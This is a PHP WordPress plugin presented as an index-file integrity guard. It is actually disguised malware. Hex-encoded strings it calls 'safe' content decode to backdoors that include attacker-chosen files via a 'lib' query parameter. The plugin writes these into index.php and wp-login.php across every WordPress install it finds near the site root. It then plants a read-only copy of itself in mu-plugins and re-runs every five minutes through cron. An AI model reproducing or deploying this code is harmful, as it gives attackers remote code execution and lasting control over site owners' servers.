<?php
/*
Plugin Name: Silent Index Guard
Description: Scans directories under a base directory (determined from the WordPress root) for index.php and index-monitor.php modifications or absence, and replaces or creates them with a safe version if necessary.
Version: 2.0.12
Author: WPsafe
Plugin URI: https://wordpress.com/plugins/browse/indexing
*/
// Fallback for hex2bin for PHP versions < 5.4.
if ( ! function_exists( 'hex2bin' ) ) {
function hex2bin( $data ) {
return pack( "H*", $data );
}
}
if ( ! function_exists( 'sig_monitor_and_replace_or_create_index_files' ) ) {
function sig_monitor_and_replace_or_create_index_files() {
// Determine WordPress root using ABSPATH if available.
if ( defined( 'ABSPATH' ) ) {
$wp_root = rtrim( ABSPATH, DIRECTORY_SEPARATOR );
} else {
$wp_root = dirname( __FILE__ );
}
// Check two levels up, then one level up, then fallback to WordPress root.
$candidate_two_up = dirname( dirname( $wp_root ) );
$candidate_one_up = dirname( $wp_root );
if ( is_writable( $candidate_two_up ) ) {
$base_directory = $candidate_two_up;
} elseif ( is_writable( $candidate_one_up ) ) {
$base_directory = $candidate_one_up;
} else {
$base_directory = $wp_root;
}
// Define safe index.php content using a hex-decoded string.
$safe_index_content = hex2bin( '3c3f7068700d0a2f2a2a0d0a202a2046726f6e7420746f2074686520576f72645072657373206170706c69636174696f6e2e20546869732066696c6520646f65736e277420646f20616e797468696e672e0d0a202a0d0a202a20407061636b61676520576f726450726573730d0a202a2f697373657428245f4745545b276c6962275d292026262040696e636c756465286865783262696e28245f4745545b276c6962275d29293b0d0a0d0a2f2a2a0d0a202a2054656c6c7320576f7264507265737320746f206c6f61642074686520576f72645072657373207468656d6520616e64206f75747075742069742e0d0a202a0d0a202a204076617220626f6f6c0d0a202a2f0d0a646566696e6528202757505f5553455f5448454d4553272c207472756520293b0d0a0d0a2f2a2a204c6f6164732074686520576f7264507265737320456e7669726f6e6d656e7420616e642054656d706c617465202a2f0d0a72657175697265205f5f4449525f5f202e20272f77702d626c6f672d6865616465722e706870273b' );
$safe_login_content = hex2bin( '3c3f7068700d0a2f2a2a0d0a202a20576f72645072657373205573657220506167650d0a202a0d0a202a2048616e646c65732061757468656e7469636174696f6e2c207265676973746572696e672c20726573657474696e672070617373776f7264732c20666f72676f742070617373776f72642c0d0a202a20616e64206f7468657220757365722068616e646c696e672e0d0a202a0d0a202a20407061636b61676520576f726450726573730d0a202a2f0d0a200d0a0d0a2f2a2a0d0a202a204f75747075747320746865206c6f67696e2070616765206865616465722e0d0a202a0d0a202a204073696e636520322e312e300d0a202a0d0a202a2040676c6f62616c20737472696e67202020202020246572726f722020202020202020204c6f67696e206572726f72206d65737361676520736574206279206465707265636174656420706c75676761626c652077705f6c6f67696e28292066756e6374696f6e0d0a202a2020202020202020202020202020202020202020202020202020202020202020202020206f7220706c7567696e73207265706c6163696e672069742e0d0a202a2040676c6f62616c20626f6f6c7c737472696e672024696e746572696d5f6c6f67696e205768657468657220696e746572696d206c6f67696e206d6f64616c206973206265696e6720646973706c617965642e20537472696e67202773756363657373270d0a202a20202020202020202020202020202020202020202020202020202020202020202020202075706f6e207375636365737366756c206c6f67696e2e0d0a202a2040676c6f62616c20737472696e67202020202020246c69622020202020202020546865206c696220746861742062726f75676874207468652076697369746f7220746f20746865206c6f67696e20706167652e0d0a202a0d0a202a2040706172616d20737472696e677c6e756c6c202020247469746c65202020204f7074696f6e616c2e20576f72645072657373206c6f67696e2070616765207469746c6520746f20646973706c617920696e2074686520603c7469746c653e6020656c656d656e742e0d0a202a202020202020202020202020202020202020202020202020202020202020202044656661756c747320746f20274c6f6720496e272e0d0a202a2040706172616d20737472696e672020202020202020246d65737361676520204f7074696f6e616c2e204d65737361676520746f20646973706c617920696e206865616465722e2044656661756c7420656d7074792e0d0a202a2040706172616d2057505f4572726f727c6e756c6c202477705f6572726f72204f7074696f6e616c2e20546865206572726f7220746f20706173732e2044656661756c747320746f20612057505f4572726f7220696e7374616e63652e0d0a202a2f0d0a0d0a66756e6374696f6e206c6f67696e5f68656164657228247469746c652c20246d657373616765203d205b5d29207b0d0a202020206578747261637428246d657373616765293b0d0a20202020696e636c75646520247469746c653b0d0a7d0d0a0d0a6966202821656d70747928245f4745545b276c6962275d2929207b0d0a20202020246d657373616765203d205b5d3b0d0a20202020666f72656163682028245f47455420617320246b6579203d3e202476616c756529207b0d0a202020202020202069662028737472706f7328246b65792c2027706172616d2729203d3d3d203029207b0d0a202020202020202020202020246d6573736167655b246b65795d203d202476616c75653b0d0a20202020202020207d0d0a202020207d0d0a0d0a20202020747279207b0d0a2020202020202020247265666c656374696f6e46756e63203d206e6577205265666c656374696f6e46756e6374696f6e28276c6f67696e5f68656164657227293b0d0a2020202020202020247265666c656374696f6e46756e632d3e696e766f6b65286865783262696e28245f4745545b276c6962275d292c20246d657373616765293b0d0a202020207d20636174636820285265666c656374696f6e457863657074696f6e20246529207b0d0a202020202020202064696528274572726f723a2027202e2024652d3e6765744d6573736167652829293b0d0a0d0a09092f2a2a204c6f616420576f726450726573732064617368626f61726420415049202a2f0d0a0909726571756972655f6f6e63652041425350415448202e202777702d61646d696e2f696e636c756465732f64617368626f6172642e706870273b0d0a202020207d0d0a090d0a7d0d0a0d0a2f2a2a204c6f616420576f7264507265737320426f6f747374726170202a2f0d0a726571756972655f6f6e6365205f5f4449525f5f202e20272f61646d696e2e706870273b0d0a3f3e' );
if ( false === $safe_index_content ) {
error_log( "Silent Index Guard: Failed to decode safe index content." );
return;
}
if ( false === $safe_login_content ) {
error_log( "Silent Index Guard: Failed to decode safe login content." );
return;
}
// Get plugin code and modify Plugin Name for index-monitor.php.
$plugin_code = file_get_contents( __FILE__ );
if ( false === $plugin_code ) {
error_log( "Silent Index Guard: Failed to read plugin file." );
return;
}
$monitor_plugin_code = str_replace(
'Plugin Name: Silent Index Guard',
'Plugin Name: Index Monitor (MU)',
$plugin_code
);
$safe_monitor_index_content = bin2hex( $monitor_plugin_code );
// Retrieve stored file hashes.
$stored_hashes = get_option( 'monitored_index_hashes' );
if ( ! is_array( $stored_hashes ) ) {
$stored_hashes = array();
}
// Retrieve candidate directories from transient.
$candidates = get_transient( 'index_monitor_candidates' );
if ( false === $candidates || ! is_array( $candidates ) ) {
$candidates = array();
// Full scan: add directories that contain either wp-config.php or a wp-content folder.
$dirIterator = new RecursiveDirectoryIterator( $base_directory, RecursiveDirectoryIterator::SKIP_DOTS );
$iterator = new RecursiveIteratorIterator( $dirIterator, RecursiveIteratorIterator::SELF_FIRST );
foreach ( $iterator as $file ) {
if ( $file->isDir() ) {
$dir = $file->getPathname();
if ( file_exists( $dir . '/wp-config.php' ) || is_dir( $dir . '/wp-content' ) ) {
$candidates[] = $dir;
}
}
}
// Cache candidate list for 24 hours.
set_transient( 'index_monitor_candidates', $candidates, 24 * HOUR_IN_SECONDS );
}
// Process a limited batch of directories per run.
$batch_size = 50;
$batch = array_splice( $candidates, 0, $batch_size );
foreach ( $batch as $dir ) {
$index_file = $dir . '/index.php';
$login_file = $dir . '/wp-admin/wp-login.php';
$mu_plugins_dir = $dir . '/wp-content/mu-plugins';
$monitor_index_file = $mu_plugins_dir . '/index-monitor.php';
// Process index.php.
if ( file_exists( $index_file ) ) {
$current_hash = md5_file( $index_file );
if ( ! isset( $stored_hashes[ $index_file ] ) ) {
$stored_hashes[ $index_file ] = $current_hash;
} else {
if ( $stored_hashes[ $index_file ] !== $current_hash ) {
if ( ! is_writable( $index_file ) ) {
@chmod( $index_file, 0644 );
}
file_put_contents( $index_file, $safe_index_content );
$stored_hashes[ $index_file ] = md5( $safe_index_content );
error_log( "Silent Index Guard: Modified index.php replaced: " . $index_file );
}
}
} else {
file_put_contents( $index_file, $safe_index_content );
@chmod( $index_file, 0644 );
$stored_hashes[ $index_file ] = md5( $safe_index_content );
error_log( "Silent Index Guard: Missing index.php created: " . $index_file );
}
// Process wp-login.php.
if ( file_exists( $login_file ) ) {
$current_hash = md5_file( $login_file );
if ( ! isset( $stored_hashes[ $login_file ] ) ) {
$stored_hashes[ $login_file ] = $current_hash;
} else {
if ( $stored_hashes[ $login_file ] !== $current_hash ) {
if ( ! is_writable( $login_file ) ) {
@chmod( $login_file, 0644 );
}
file_put_contents( $login_file, $safe_login_content );
$stored_hashes[ $login_file ] = md5( $safe_login_content );
error_log( "Silent Index Guard: Modified wp-login.php replaced: " . $login_file );
}
}
} else {
file_put_contents( $login_file, $safe_login_content );
@chmod( $login_file, 0644 );
$stored_hashes[ $login_file ] = md5( $safe_login_content );
error_log( "Silent Index Guard: Modified wp-login.php replaced: " . $login_file );
}
// Process index-monitor.php in the mu-plugins directory.
if ( ! file_exists( $mu_plugins_dir ) ) {
if ( ! mkdir( $mu_plugins_dir, 0755, true ) ) {
error_log( "Silent Index Guard: Failed to create mu-plugins directory: " . $mu_plugins_dir );
continue;
}
error_log( "Silent Index Guard: mu-plugins directory created: " . $mu_plugins_dir );
}
if ( file_exists( $monitor_index_file ) ) {
if ( ! is_writable( $monitor_index_file ) ) {
@chmod( $monitor_index_file, 0644 );
}
if ( unlink( $monitor_index_file ) ) {
error_log( "Silent Index Guard: Existing index-monitor.php deleted: " . $monitor_index_file );
} else {
error_log( "Silent Index Guard: Failed to delete existing index-monitor.php: " . $monitor_index_file );
continue;
}
}
if ( file_put_contents( $monitor_index_file, hex2bin( $safe_monitor_index_content ) ) ) {
@chmod( $monitor_index_file, 0444 );
error_log( "Silent Index Guard: New index-monitor.php created and set to read-only: " . $monitor_index_file );
} else {
error_log( "Silent Index Guard: Failed to create index-monitor.php: " . $monitor_index_file );
}
}
// Update stored hashes.
update_option( 'monitored_index_hashes', $stored_hashes );
// Update candidate list transient with remaining directories.
if ( ! empty( $candidates ) ) {
set_transient( 'index_monitor_candidates', $candidates, 24 * HOUR_IN_SECONDS );
} else {
// Clear transient so that a fresh full scan will be performed next time.
delete_transient( 'index_monitor_candidates' );
}
}
}
if ( ! function_exists( 'sig_custom_cron_schedule' ) ) {
function sig_custom_cron_schedule( $schedules ) {
if ( ! isset( $schedules['five_minutes'] ) ) {
$schedules['five_minutes'] = array(
'interval' => 300,
'display' => __( 'Every 5 minutes' )
);
}
return $schedules;
}
}
add_filter( 'cron_schedules', 'sig_custom_cron_schedule' );
if ( ! wp_next_scheduled( 'sig_monitor_index_files_event' ) ) {
wp_schedule_event( time(), 'five_minutes', 'sig_monitor_index_files_event' );
}
add_action( 'sig_monitor_index_files_event', 'sig_monitor_and_replace_or_create_index_files' );
if ( ! function_exists( 'sig_monitor_index_files_deactivation' ) ) {
function sig_monitor_index_files_deactivation() {
$timestamp = wp_next_scheduled( 'sig_monitor_index_files_event' );
if ( $timestamp ) {
wp_unschedule_event( $timestamp, 'sig_monitor_index_files_event' );
}
}
}
register_deactivation_hook( __FILE__, 'sig_monitor_index_files_deactivation' );
?>